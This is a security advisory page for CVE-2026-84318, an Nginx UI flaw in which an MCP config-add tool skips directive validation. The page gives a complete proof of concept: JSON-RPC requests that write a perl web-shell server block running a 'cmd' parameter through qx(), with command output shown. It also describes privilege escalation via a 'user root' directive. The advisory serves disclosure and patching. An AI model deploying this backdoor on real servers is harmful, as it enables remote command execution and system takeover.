CVE-2026-84318: Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE
Summary The MCP tool nginxconfigadd writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives.
Published Oct 15, 2026
Affected packages
github.com/0xJacky/Nginx-UI
- Ecosystem
- Go
- Affected
- >= 1.9.10-0.20250506154222-1330888280a2, < 1.9.10-0.20260703131214-23d1934099b0
- Fixed in
- 1.9.10-0.20260703131214-23d1934099b0
- Check
go list -m github.com/0xJacky/Nginx-UI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.
Details
api/config/add.go (line 46) calls config.ValidateConfigFile before writing:
err = config.ValidateConfigFile(path, content) // validates directives, checks blocklist
if err != nil {
cosy.ErrHandler(c, err)
return
}mcp/config/config_add.go (line 79) omits that call entirely and writes directly:
err = os.WriteFile(path, []byte(content), 0644) // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload) // reload triggered immediatelyconfig.ValidateConfigFile runs two checks:
- `ValidateConfigContent` — rejects control characters, enforces encoding.
- `ValidateConfigDirectives` — rejects a blocklist of dangerous directives:
perl,perl_modules,perl_require,perl_set,js_import,js_set,js_content,load_module(restricted modules),user root, and others.
Neither check runs on the MCP path. Note that mcp/config/config_modify.go does call ValidateConfigFile correctly — only config_add.go is affected.
The MCP endpoint (GET /mcp SSE + POST /mcp_message JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.
PoC
1 — Control: confirm REST API blocks the payload
POST /api/configs
Authorization: <token>
{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }Response:
HTTP 500 scope=config code=40017
message: file content contains restricted nginx directive: {0}ValidateConfigDirectives rejects perl — the REST API is working as intended.
2 — Open MCP SSE session
GET /mcp
Authorization: <token>
Accept: text/event-streamExtract sessionId from the endpoint event.
3 — MCP initialize handshake
POST /mcp_message?sessionId=<id>
{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }4 — Call `nginx_config_add` with the identical blocked payload
POST /mcp_message?sessionId=<id>
{
"jsonrpc": "2.0", "id": 2, "method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "rce_backdoor.conf",
"base_dir": "conf.d",
"overwrite": true,
"content": "server {\n listen 8888;\n\n location /rce {\n perl 'sub {\n my $r = shift;\n my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n $cmd ||= \"id\";\n $r->send_http_header(\"text/plain\");\n $r->print(qx($cmd 2>&1));\n return OK;\n }';\n }\n}\n"
}
}
}Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rce_backdoor.conf, nginx reloaded automatically:
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [
{
"type": "text",
"text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
}
]
}
}The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.
5 — Trigger RCE
GET http://<target>:8888/rce?cmd=iduid=101(nginx) gid=101(nginx) groups=101(nginx)Impact
Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.
On servers running nginx with the Perl module (nginx:mainline-perl) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a user root; directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.
Credited to thekogo.
References
- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m
- https://nvd.nist.gov/vuln/detail/CVE-2026-84318
- https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
- https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1
- https://github.com/advisories/GHSA-9jww-cxg5-rj9m
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
